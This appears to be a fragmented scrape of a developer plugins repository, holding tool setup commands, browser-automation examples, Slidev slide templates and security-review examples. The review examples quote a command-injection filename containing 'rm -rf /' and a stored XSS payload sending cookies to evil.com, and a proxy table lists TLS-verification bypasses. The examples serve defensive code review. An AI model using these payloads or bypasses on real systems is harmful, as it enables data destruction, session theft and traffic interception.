Factory-AI/factory-plugins

rm -f autoresearch.jsonl.bak autoresearch.md.bak autoresearch.ideas.md.bak

#!/usr/bin/env python3

[Credential-related source omitted]

- **PR URL or number** (required): e.g. `https://github.com/<owner>/<repo>/pull/9996` or `#9996`

[Credential-related source omitted]

# HTTP Toolkit's admin API lives on port 45456/45457 by default. # Treat 200/401/403 as "reachable"; only connection failure means the server is dead. curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:45456/config

curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:45456/config

HTTP_PROXY="http://127.0.0.1:8000" \

HTTPS_PROXY="http://127.0.0.1:8000" \

ALL_PROXY="http://127.0.0.1:8000" \

| **Java / JVM** | `-Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8000 -Dhttps.proxyHost=127.0.0.1 -Dhttps.proxyPort=8000`; env vars are **not** honored by the JVM | Import CA into a truststore and pass `-Djavax.net.ssl.trustStore=...` | | **

| **.NET / C#** | `HTTP_PROXY`, `HTTPS_PROXY`, `ALL_PROXY` (on recent runtimes) or configure `HttpClient` explicitly | Trust CA in OS store, or `HttpClientHandler.ServerCertificateCustomValidationCallback` | | **PHP (curl / cli)** | `HTTP_P

| **PHP (curl / cli)** | `HTTP_PROXY`, `HTTPS_PROXY` (or per-call `CURLOPT_PROXY`) | `CURLOPT_SSL_VERIFYPEER => false` |

| **Rust (`reqwest`)** | `HTTP_PROXY`, `HTTPS_PROXY` | `danger_accept_invalid_certs(true)` on the client | | **curl / shell** | `HTTP_PROXY`, `HTTPS_PROXY` env vars or `-x`/`--proxy` flag | `-k` / `--insecure` | | **Docker containers** | Pa

| **curl / shell** | `HTTP_PROXY`, `HTTPS_PROXY` env vars or `-x`/`--proxy` flag | `-k` / `--insecure` |

npm install -g tuistory                              # virtual PTY driver pip install asciinema                                # terminal recording (tctl wraps this) cargo install --git https://github.com/asciinema/agg  # .cast -> .gif conv

cargo install --git https://github.com/asciinema/agg  # .cast -> .gif converter (compose needs this)

sudo apt-get install -y cage wtype                   # required: headless compositor + keystroke injection

sudo apt-get install -y grim wf-recorder             # optional: screenshots + video recording

sudo apt-get install -y ffmpeg                       # video processing (includes ffprobe)

sudo apt-get install -y clang libclang-dev libx264-dev  # renderer build deps (macOS: xcode-select --install; brew install x264)

SESSION="$(agent-browser session id --scope worktree --prefix droid-control)" agent-browser --session "$SESSION" --restore open https://app.example.com

agent-browser --session "$SESSION" --restore open https://app.example.com

agent-browser tab agent-browser tab new https://example.com

agent-browser tab new https://example.com

agent-browser a11y [url] --json agent-browser open --enable react-devtools http://localhost:3000

agent-browser open --enable react-devtools http://localhost:3000

No separate Cua skill installation is required. Preserve existing executable wrappers and service ownership. If the binary is missing, obtain approval before using the official [macOS/Linux installer](https://cua.ai/driver/install.sh) or [W

sudo apt-get install -y cage wtype

- **Rust** (stable, via [rustup](https://rustup.rs)), **clang/libclang**, and **libx264** to build the renderer once

sudo apt-get install -y clang libclang-dev libx264-dev   # macOS: xcode-select --install; brew install x264

sudo apt-get install -y cage wtype          # required

sudo apt-get install -y grim wf-recorder    # optional: screenshots / video

| `down` | Graceful shutdown via SSH `sudo shutdown -h now` |

[Credential-related source omitted]

# Or use via npx npx agent-browser open https://example.com

npx agent-browser open https://example.com

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

agent-browser eval "document.title"   # Run JavaScript

agent-browser open https://example.com/form

# Login once agent-browser open https://app.example.com/login

agent-browser open https://app.example.com/login

# Later sessions: load saved state agent-browser state load auth.json agent-browser open https://app.example.com/dashboard

agent-browser open https://app.example.com/dashboard

agent-browser open https://example.com/products

agent-browser open https://example.com

# Navigate to login agent-browser open https://app.example.com/login

agent-browser open https://app.example.com/login

This skill is based on Wikipedia's "Signs of AI writing" page (https://en.wikipedia.org/wiki/Wikipedia:Signs_of_AI_writing), maintained by WikiProject AI Cleanup. The patterns come from observations of thousands of instances of AI-generated

[Credential-related source omitted]

Or download a standalone binary from https://github.com/Factory-AI/nanobanana-cli/releases

[Credential-related source omitted]

Get a key at https://aistudio.google.com/apikey

Create slide decks using [Slidev](https://sli.dev), a markdown-based presentation tool for developers. Write slides in markdown, get beautiful results with code highlighting, animations, and Vue components.

--- theme: seriph background: https://cover.sli.dev

theme: seriph background: https://cover.sli.dev class: text-center

background: https://cover.sli.dev

Browse themes: https://sli.dev/resources/theme-gallery

--- theme: seriph background: https://cover.sli.dev

theme: seriph background: https://cover.sli.dev class: text-center

background: https://cover.sli.dev

[docs](https://example.com) · [github](https://github.com/example)

Full Slidev docs: https://sli.dev/llms.txt

Key references: - [Syntax Guide](https://sli.dev/guide/syntax) - Markdown extensions, frontmatter, slots

- [Syntax Guide](https://sli.dev/guide/syntax) - Markdown extensions, frontmatter, slots

- [Animations](https://sli.dev/guide/animations) - Click animations, motion, transitions

- [Layouts](https://sli.dev/builtin/layouts) - All built-in layouts

- [Components](https://sli.dev/builtin/components) - Built-in Vue components

- [Themes](https://sli.dev/resources/theme-gallery) - Theme gallery

- [CLI Reference](https://sli.dev/builtin/cli) - All CLI commands and options

Features worth exploring: - [Shiki Magic Move](https://sli.dev/features/shiki-magic-move) - Animate code changes

- [Shiki Magic Move](https://sli.dev/features/shiki-magic-move) - Animate code changes

- [Monaco Editor](https://sli.dev/features/monaco-editor) - Live code editing in slides

- [Drawing](https://sli.dev/features/drawing) - Annotate slides during presentation

- [Recording](https://sli.dev/features/recording) - Record presentations with camera

- [Remote Access](https://sli.dev/features/remote-access) - Control from another device

theme: seriph # random image from a curated Unsplash collection by Anthony # like them? see https://unsplash.com/collections/94734566/slidev

# random image from a curated Unsplash collection by Anthony # like them? see https://unsplash.com/collections/94734566/slidev background: https://cover.sli.dev

# like them? see https://unsplash.com/collections/94734566/slidev

background: https://cover.sli.dev

Learn more at [Sli.dev](https://sli.dev)

# apply unocss classes to the current slide class: text-center # https://sli.dev/features/drawing

class: text-center # https://sli.dev/features/drawing drawings:

# https://sli.dev/features/drawing

drawings:   persist: false # slide transition: https://sli.dev/guide/animations.html#slide-transitions

persist: false # slide transition: https://sli.dev/guide/animations.html#slide-transitions transition: slide-left

# slide transition: https://sli.dev/guide/animations.html#slide-transitions

transition: slide-left # enable MDC Syntax: https://sli.dev/features/mdc mdc: true

# enable MDC Syntax: https://sli.dev/features/mdc

<carbon:edit />   </button>   <a href="https://github.com/slidevjs/slidev" target="_blank" class="slidev-icon-btn">

</button>   <a href="https://github.com/slidevjs/slidev" target="_blank" class="slidev-icon-btn">     <carbon:logo-github />

<a href="https://github.com/slidevjs/slidev" target="_blank" class="slidev-icon-btn">

<!-- The last comment block of each slide will be treated as slide notes. It will be visible and editable in Presenter Mode along with the slide. [Read more in the docs](https://sli.dev/guide/syntax.html#notes)

The last comment block of each slide will be treated as slide notes. It will be visible and editable in Presenter Mode along with the slide. [Read more in the docs](https://sli.dev/guide/syntax.html#notes)

Read more about [Why Slidev?](https://sli.dev/guide/why)

<!-- You can have `style` tag in markdown to override the style for the current page. Learn more: https://sli.dev/features/slide-scope-style

You can have `style` tag in markdown to override the style for the current page. Learn more: https://sli.dev/features/slide-scope-style -->

Learn more: https://sli.dev/features/slide-scope-style

Hover on the bottom-left corner to see the navigation's controls panel, [learn more](https://sli.dev/guide/ui#navigation-bar)

<!-- https://sli.dev/guide/animations.html#click-animation -->

v-click   class="absolute -bottom-9 -left-7 w-80 opacity-50"   src="https://sli.dev/assets/arrow-bottom-left.svg"

class="absolute -bottom-9 -left-7 w-80 opacity-50"   src="https://sli.dev/assets/arrow-bottom-left.svg"   alt=""

src="https://sli.dev/assets/arrow-bottom-left.svg"

--- layout: image-right image: https://cover.sli.dev

layout: image-right image: https://cover.sli.dev ---

image: https://cover.sli.dev

// TwoSlash enables TypeScript hover information // and errors in markdown code blocks // More at https://shiki.style/packages/twoslash

// More at https://shiki.style/packages/twoslash

[Learn more](https://sli.dev/features/line-highlighting)

Powered by [shiki-magic-move](https://shiki-magic-move.netlify.app/), Slidev supports animations across multiple code snippets.

Check out [the guides](https://sli.dev/builtin/components.html) for more.

<img border="rounded" src="https://github.com/slidevjs/themes/blob/main/screenshots/theme-default/01.png?raw=true" alt="">

<img border="rounded" src="https://github.com/slidevjs/themes/blob/main/screenshots/theme-seriph/01.png?raw=true" alt="">

Read more about [How to use a theme](https://sli.dev/guide/theme-addon#use-theme) and

check out the [Awesome Themes Gallery](https://sli.dev/resources/theme-gallery).

also allows you to add <span v-mark.circle.orange="4">inline marks</span> , powered by [Rough Notation](https://roughnotation.com/):

, powered by [Rough Notation](https://roughnotation.com/):

[Learn more](https://sli.dev/guide/animations#click-animation)

Motion animations are powered by [@vueuse/motion](https://motion.vueuse.org/), triggered by `v-motion` directive.

:enter="final"       class="absolute inset-0"       src="https://sli.dev/logo-square.png"

class="absolute inset-0"       src="https://sli.dev/logo-square.png"       alt=""

src="https://sli.dev/logo-square.png"

:enter="final"       class="absolute inset-0"       src="https://sli.dev/logo-circle.png"

class="absolute inset-0"       src="https://sli.dev/logo-circle.png"       alt=""

src="https://sli.dev/logo-circle.png"

:enter="final"       class="absolute inset-0"       src="https://sli.dev/logo-triangle.png"

class="absolute inset-0"       src="https://sli.dev/logo-triangle.png"       alt=""

src="https://sli.dev/logo-triangle.png"

[Learn more](https://sli.dev/guide/animations.html#motion)

LaTeX is supported out-of-box. Powered by [KaTeX](https://katex.org/).

[Learn more](https://sli.dev/features/latex)

Learn more: [Mermaid Diagrams](https://sli.dev/features/mermaid) and [PlantUML Diagrams](https://sli.dev/features/plantuml)

<img v-drag="'square'" src="https://sli.dev/logo.png">

<img v-drag="'square'" src="https://sli.dev/logo.png">

[Documentation](https://sli.dev) · [GitHub](https://github.com/slidevjs/slidev) · [Showcases](https://sli.dev/resources/showcases)

- **Command Injection**: User input in shell commands, `eval()`, `exec()`

- Threat model: `.factory/threat-model.md` - Security config: `.factory/security-config.json` - [OWASP Top 10](https://owasp.org/www-project-top-ten/)

- Security config: `.factory/security-config.json` - [OWASP Top 10](https://owasp.org/www-project-top-ten/) - [CWE Top 25](https://cwe.mitre.org/top25/)

- [OWASP Top 10](https://owasp.org/www-project-top-ten/)

- [CWE Top 25](https://cwe.mitre.org/top25/)

"exploit_scenario": "Attacker uploads file named 'image.jpg; rm -rf / #' or 'image.jpg$(whoami)'. The shell interprets the semicolon/backticks and executes the injected command with server privileges.",

"code_context": "dangerouslySetInnerHTML={{ __html: user.bio }}",   "analysis": "User-provided bio content is rendered using dangerouslySetInnerHTML without sanitization. This bypasses React's built-in XSS protection and allows stored XSS a

"analysis": "User-provided bio content is rendered using dangerouslySetInnerHTML without sanitization. This bypasses React's built-in XSS protection and allows stored XSS attacks.",   "exploit_scenario": "Attacker sets their bio to '<script

"exploit_scenario": "Attacker sets their bio to '<script>document.location=\"https://evil.com/steal?cookie=\"+document.cookie</script>'. When other users view the profile, the script executes and steals their session cookies.",

[Credential-related source omitted]

[Credential-related source omitted]

"recommendation": "Use parameterized queries",       "references": [         "https://cwe.mitre.org/data/definitions/89.html",

"references": [         "https://cwe.mitre.org/data/definitions/89.html",         "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"

"https://cwe.mitre.org/data/definitions/89.html",

"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"

[CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)

- STRIDE: https://docs.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats

- OWASP Top 10: https://owasp.org/www-project-top-ten/

- CWE Database: https://cwe.mitre.org/

- OWASP Cheat Sheets: https://cheatsheetseries.owasp.org/

- CVSS Calculator: https://www.first.org/cvss/calculator/3.1

- [STRIDE Threat Modeling](https://docs.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats)

- [OWASP Threat Modeling](https://owasp.org/www-community/Threat_Modeling)

- CVSS 3.1 Calculator: https://www.first.org/cvss/calculator/3.1

- OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/

- Attacker creates account - Sets bio to `<script>document.location='https://evil.com/steal?c='+document.cookie</script>`

- Sets bio to `<script>document.location='https://evil.com/steal?c='+document.cookie</script>`

4. Worker receives message and runs exec()

- Cannot verify if worker validates before exec()

"reason": "Complex data flow through message queue prevents full validation. The exec() call is dangerous, but the source of inputPath and size parameters could not be fully traced. These values originate from a different service (upload-se

- Lint rule: `no-restricted-syntax` (configured to ban `useEffect`) - React docs: [You Might Not Need an Effect](https://react.dev/learn/you-might-not-need-an-effect)

- React docs: [You Might Not Need an Effect](https://react.dev/learn/you-might-not-need-an-effect)

- Origin: [https://x.com/alvinsng/status/2033969062834045089](https://x.com/alvinsng/status/2033969062834045089)

**Smell test:** Your effect does `fetch(...)` and then `setState(...)`, or you are re-implementing caching, retries, cancellation, or stale handling.